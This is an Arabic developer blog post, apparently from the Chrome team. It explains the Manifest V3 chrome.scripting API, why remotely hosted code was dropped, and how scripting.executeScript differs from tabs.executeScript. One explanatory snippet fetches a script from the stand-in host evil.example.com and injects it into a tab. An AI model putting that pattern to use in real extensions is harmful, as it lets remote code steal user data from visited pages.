لمحة عن واجهة برمجة التطبيقات chrome.scripting

يقدّم الإصدار 3 من ملف البيان عددًا من التغييرات على نظام الإضافات في Chrome. في هذه المشاركة، سنتعرّف على الدوافع والتغييرات الناتجة عن أحد أهم التغييرات: التعريف بواجهة برمجة تطبيقات chrome.scripting.

ما هو chrome.scripting؟

كما يشير الاسم، chrome.scripting هي مساحة اسم جديدة تم تقديمها في الإصدار 3 من ملف البيان وتكون مسؤولة عن إمكانات حقن النصوص البرمجية والأنماط.

قد يكون المطوّرون الذين أنشأوا إضافات Chrome في السابق على دراية بطرق إصدار Manifest V2 على Tabs API، مثل chrome.tabs.executeScript و chrome.tabs.insertCSS. تسمح هذه الطرق للإضافات بإدخال النصوص البرمجية وملفّات stylesheets في الصفحات، على التوالي. في إصدار Manifest V3، تم نقل هذه الإمكانات إلى chrome.scripting، ونخطّط لتوسيع نطاق استخدامها من خلال إضافة بعض الإمكانات الجديدة في المستقبل.

أهمية إنشاء واجهة برمجة تطبيقات جديدة

مع تغيير مثل هذا، أحد الأسئلة الأولى التي تميل إلى الظهور هو، "لماذا؟"

دفعت بضعة عوامل مختلفة فريق Chrome إلى تقديم مساحة اسم جديدة للبرمجة النصية. أولاً، واجهة برمجة التطبيقات Tabs API هي بمثابة درج غير مرغوب فيه للميزات. ثانيًا، كان علينا إجراء تغييرات قد تؤدي إلى أعطال في واجهة برمجة تطبيقات executeScript الحالية. ثالثًا، أردنا توسيع نطاق إمكانات النصوص البرمجية للإضافات. حددت هذه المخاوف معًا بشكل واضح الحاجة إلى مساحة اسم جديدة لدمج إمكانيات البرمجة النصية.

درج المهملات

إنّ أحد المشاكل التي كانت تؤرق فريق الإضافات خلال السنوات القليلة الماضية هي زيادة عدد عمليات طلب بيانات واجهة برمجة التطبيقات chrome.tabs. عند طرح واجهة برمجة التطبيقات هذه لأول مرة، كانت معظم الإمكانات التي كانت توفرها مرتبطة بالمفهوم العام لعلامة التبويب في المتصفّح. وحتى في ذلك الوقت، كانت هذه المجموعة تضم مجموعة متنوعة من الميزات، ولقد ازدادت هذه المجموعة على مرّ السنين.

بحلول الوقت الذي تم فيه إصدار Manifest V3، نمت واجهة برمجة التطبيقات Tabs API لتشمل الإدارة الأساسية لعلامات التبويب وإدارة الاختيار وتنظيم النوافذ والمراسلة وعناصر التحكم في التكبير/التصغير والتنقل الأساسي والبرمجة النصية وبعض الإمكانات الأخرى الأصغر. على الرغم من أهمية كل هذه العوامل، إلا أنها قد تكون مربكة بعض الشيء للمطوّرين عند بدء استخدامها ولفريق Chrome بينما نواصل صيانة النظام الأساسي وننظر في الطلبات الواردة من منتدى المطوّرين.

من العوامل المعقدة الأخرى عدم فهم إذن tabs بشكل جيد. في حين أنّ العديد من الأذونات الأخرى تفرض قيودًا على الوصول إلى واجهة برمجة تطبيقات معيّنة (مثل storage)، فإنّ هذا الإذن قليلاً ما يُستخدم لأنّه لا يمنح الإضافة سوى إذن الوصول إلى المواقع الحسّاسة في نُسخ علامة التبويب (ونتيجةً لذلك، تؤثر الإضافة أيضًا في واجهة برمجة تطبيقات Windows). من المفهوم أنّ العديد من مطوّري الإضافات يعتقدون عن طريق الخطأ أنّهم بحاجة إلى هذا الإذن للوصول إلى الطُرق في واجهة برمجة التطبيقات Tabs API مثل chrome.tabs.create أو chrome.tabs.executeScript بشكلٍ أكثر دقة. يساعد نقل الوظائف خارج Tabs API في توضيح بعض هذا الالتباس.

تغييرات قد تؤدي إلى أعطال

عند تصميم Manifest V3، كانت إحدى المشاكل الرئيسية التي أردنا معالجتها هي إساءة الاستخدام والبرامج الضارّة التي يتم تفعيلها من خلال "الرمز البرمجي المستضاف عن بُعد"، وهو رمز يتم تنفيذه ولكن لا يتم تضمينه في حِزمة الإضافة. من الشائع أن ينفّذ مؤلفو الإضافات المسيئة نصوصًا برمجية تم استرجاعها من الخوادم البعيدة لسرقة بيانات المستخدمين وإدخال برامج ضارة والتحايل على عملية الرصد. على الرغم من أنّ الجهات الفاعلة الجيّدة تستخدم هذه الميزة أيضًا، كنا نعتقد في نهاية المطاف أنّه من الخطير جدًا إبقاء هذه الميزة على حالها.

هناك طريقتان مختلفتان يمكن للإضافات تنفيذ رموز غير مجمّعة فيها، ولكن الطريقة ذات الصلة هنا هي طريقة Manifest V2 chrome.tabs.executeScript. تسمح هذه الطريقة للإضافة بتنفيذ سلسلة رمز عشوائية في علامة تبويب مستهدفة. وهذا بدوره يعني أن مطوِّر البرامج الضارة يمكنه جلب نص برمجي عشوائي من خادم بعيد وتنفيذه داخل أي صفحة يمكن للإضافة الوصول إليها. كنا نعلم أنه إذا أردنا معالجة مشكلة التعليمات البرمجية البعيدة، سيتعين علينا إزالة هذه الميزة.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

أردنا أيضًا حلّ بعض المشاكل الأخرى الأكثر دقة في تصميم Manifest V2، وجعل واجهة برمجة التطبيقات أداة أكثر دقة ويمكن التنبؤ بها.

على الرغم من أنّه كان بإمكاننا تغيير توقيع هذه الطريقة ضمن Tabs API، إلا أنّنا رأينا أنّه بين هذه التغييرات الأساسية وتقديم إمكانات جديدة (الموضَّحة في القسم التالي)، سيكون الابتعاد عن الإصدارات السابقة أسهل على الجميع.

توسيع إمكانات النصوص البرمجية

من بين الاعتبارات الأخرى التي تم أخذها في الاعتبار أثناء عملية تصميم الإصدار 3 من ملف البيان، الرغبة في توفير إمكانات إضافية لكتابة النصوص البرمجية لمنصّة إضافات Chrome. على وجه التحديد، أردنا توفير إمكانية استخدام النصوص البرمجية للمحتوى الديناميكي وتوسيع إمكانات طريقة executeScript.

إنّ إتاحة النصوص البرمجية للمحتوى الديناميكي هي ميزة يطلبها المستخدمون منذ فترة طويلة في Chromium. في الوقت الحالي، يمكن لإضافات Chrome V2 وV3 من Manifest الإعلان بشكل ثابت فقط عن النصوص البرمجية للمحتوى في ملف manifest.json، فالنظام الأساسي لا يوفّر طريقة لتسجيل نصوص برمجية جديدة للمحتوى أو تعديل تسجيل النصوص البرمجية للمحتوى أو إلغاء تسجيل النصوص البرمجية للمحتوى في وقت التشغيل.

على الرغم من أنّنا أردنا معالجة طلب هذه الميزة في الإصدار 3 من ملف البيان، لم تكن أي من منصّات برمجة التطبيقات الحالية مناسبةً لذلك. نظرنا أيضًا في التوافق مع متصفّح Firefox على واجهة برمجة التطبيقات لبرمجة المحتوى، ولكن في وقت مبكر جدًا رصدنا بعض العيوب الرئيسية في هذا الأسلوب. أولاً، علمنا أنّه سيكون لدينا توقيعات غير متوافقة (مثل إيقاف إتاحة code الخاصية). ثانيًا، كانت واجهة برمجة التطبيقات لدينا تتضمّن مجموعة مختلفة من قيود التصميم (مثل الحاجة إلى تسجيل للحفاظ على التسجيل بعد انتهاء صلاحية عامل الخدمة). أخيرًا، ستنقلنا مساحة الاسم هذه أيضًا إلى وظيفة النص البرمجي للمحتوى حيث نفكر في البرمجة النصية في الإضافات على نطاق أوسع.

على executeScript، أردنا أيضًا توسيع نطاق الإجراءات التي يمكن لواجهة برمجة التطبيقات هذه تنفيذها إلى جانب الميزات الأخرى التي كان توفّرها واجهة برمجة التطبيقات Tabs API. وبشكل أكثر تحديدًا، أردنا دعم الدوال والوسيطات، واستهداف إطارات محدّدة بسهولة أكبر، واستهداف السياقات غير "علامة تبويب".

من الآن فصاعدًا، سننظر أيضًا في كيفية تفاعل الإضافات مع التطبيقات المتوافقة مع الأجهزة الجوّالة التي تم تثبيتها وغيرها من السياقات التي لا ترتبط من الناحية النظرية بـ "علامات التبويب".

التغييرات بين tabs.executeScript وscripting.executeScript

في الجزء المتبقّي من هذه المشاركة، نريد إلقاء نظرة عن كثب على أوجه التشابه والاختلاف بين chrome.tabs.executeScript و chrome.scripting.executeScript.

إدراج دالة مع وسيطات

أثناء التفكير في كيفية تطوير المنصة في ضوء القيود المفروضة على التعليمات البرمجية المستضافة عن بُعد، أردنا تحقيق التوازن بين القوة الأولية لتنفيذ التعليمات البرمجية العشوائية وعدم السماح إلا بتنفيذ النصوص البرمجية للمحتوى الثابت. كان الحلّ الذي توصلنا إليه هو السماح للإضافات بإدخال دالّة كنص برمجي للمحتوى ونقل صفيف من القيم كوسيطات.

لنلقِ نظرة سريعة على مثال (مبالغ في التبسيط). لنفترض أنّنا أردنا إدراج نص برمجي يُرحّب بالمستخدم باسمه عندما ينقر على زر الإجراء الخاص بالإضافة (الرمز في شريط الأدوات). في إصدار Manifest V2، يمكننا إنشاء سلسلة رمز برمجي وتنفيذ هذا النص البرمجي في الصفحة الحالية بشكل ديناميكي.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

على الرغم من أنّ الإضافات المستندة إلى الإصدار 3 من ملف البيان لا يمكنها استخدام رمز غير مُضمَّن في الإضافة، كان هدفنا هو الحفاظ على بعض الديناميكية التي تتيحها مجموعات الرموز البرمجية العشوائية لإضافات الإصدار 2 من ملف البيان. من خلال نهج الوظائف والمَعلمات، يمكن لمراجعي "سوق Chrome الإلكتروني" والمستخدمين وغيرها من الجهات المعنيّة تقييم المخاطر التي تشكلها الإضافة بدقة أكبر، مع السماح أيضًا ل المطوّرين بتعديل سلوك وقت تشغيل الإضافة استنادًا إلى إعدادات المستخدم أو حالة التطبيق.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

إطارات الاستهداف

أردنا أيضًا تحسين طريقة تفاعل المطوّرين مع اللقطات في واجهة برمجة التطبيقات المعدَّلة. سمح إصدار Manifest V2 من executeScript للمطوّرين باستهداف جميع اللقطات في علامة تبويب أو لقطة معيّنة في علامة التبويب. يمكنك استخدام chrome.webNavigation.getAllFrames للحصول على قائمة بجميع الإطارات في علامة تبويب.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

في إصدار Manifest V3، تم استبدال السمة الاختيارية frameId لعدد صحيح في كائن الخيارات بمصفوفة frameIds اختيارية من الأعداد الصحيحة، ما يتيح للمطوّرين استهداف إطارات متعدّدة في طلب بيانات واحد من واجهة برمجة التطبيقات.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

نتائج حقن النصوص البرمجية

لقد أدخلنا أيضًا تحسينات على طريقة عرض نتائج حقن النصوص البرمجية في الإصدار Manifest V3. "النتيجة" هي في الأساس العبارة النهائية التي يتم تقييمها في نص برمجي. يمكنك اعتبارها على أنّها القيمة التي تظهر عند استدعاء eval() أو تنفيذ جزء من الرموز البرمجية في وحدة تحكّم Chrome DevTools، إلا أنّها تظهر بشكل متسلسل لتمرير النتائج على مستوى العمليات.

في الإصدار 2 من بيان التطبيق، سيعرِض executeScript وinsertCSS صفيفًا من نتائج التنفيذ العادية. لا بأس بذلك إذا كانت لديك نقطة إدراج واحدة فقط، ولكن لا يمكن ضمان ترتيب النتائج عند الإدراج في إطارات متعددة، وبالتالي لا تتوفّر طريقة لمعرفة النتيجة المرتبطة بالإطار.

للحصول على مثال ملموس، لنلقِ نظرة على صفائف results التي يعرضها إصدار Manifest V2 وإصدار Manifest V3 من الإضافة نفسها. سيُدخل كلا الإصدارَين من الإضافة النص البرمجي للمحتوى نفسه، وسنقارن النتائج على الصفحة التجريبية نفسها.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

عند تشغيل إصدار Manifest V2، نستعيد مصفوفة [1, 0, 5]. أيّ من النتائج يتوافق مع الإطار الرئيسي وأيّ منها يتوافق مع إطار iframe؟ لا تُعلمنا القيمة المعروضة، لذلك لا نعرف بالتأكيد.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

في الإصدار 3 من البيان، يحتوي results الآن على صفيف من عناصر النتائج بدلاً من صفيف من نتائج التقييم فقط، وتحدِّد عناصر النتائج بوضوح معرّف الإطار لكل نتيجة. يسهّل ذلك على المطوّرين بشكل كبير الاستفادة من النتيجة واتّخاذ إجراءات بشأن إطار معيّن.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

الخاتمة

توفّر ترقيات إصدارات بيان التطبيق فرصة نادرة لإعادة التفكير في واجهات برمجة تطبيقات الإضافات وتطويرها. هدفنا هو تحسين تجربة المستخدم النهائي من خلال جعل الإضافات أكثر أمانًا، فضلاً عن تحسين تجربة المطوّر. ومن خلال تقديم واجهة برمجة التطبيقات chrome.scripting في الإصدار Manifest V3، تمكّنا من المساعدة في تنظيم واجهة Tabs API وإعادة تصميم executeScript لتكون منصة إضافات أكثر أمانًا ووضع أساس لإمكانيات جديدة تتعلّق ببرمجة النصوص البرمجية والتي سيتم طرحها في وقت لاحق من هذا العام.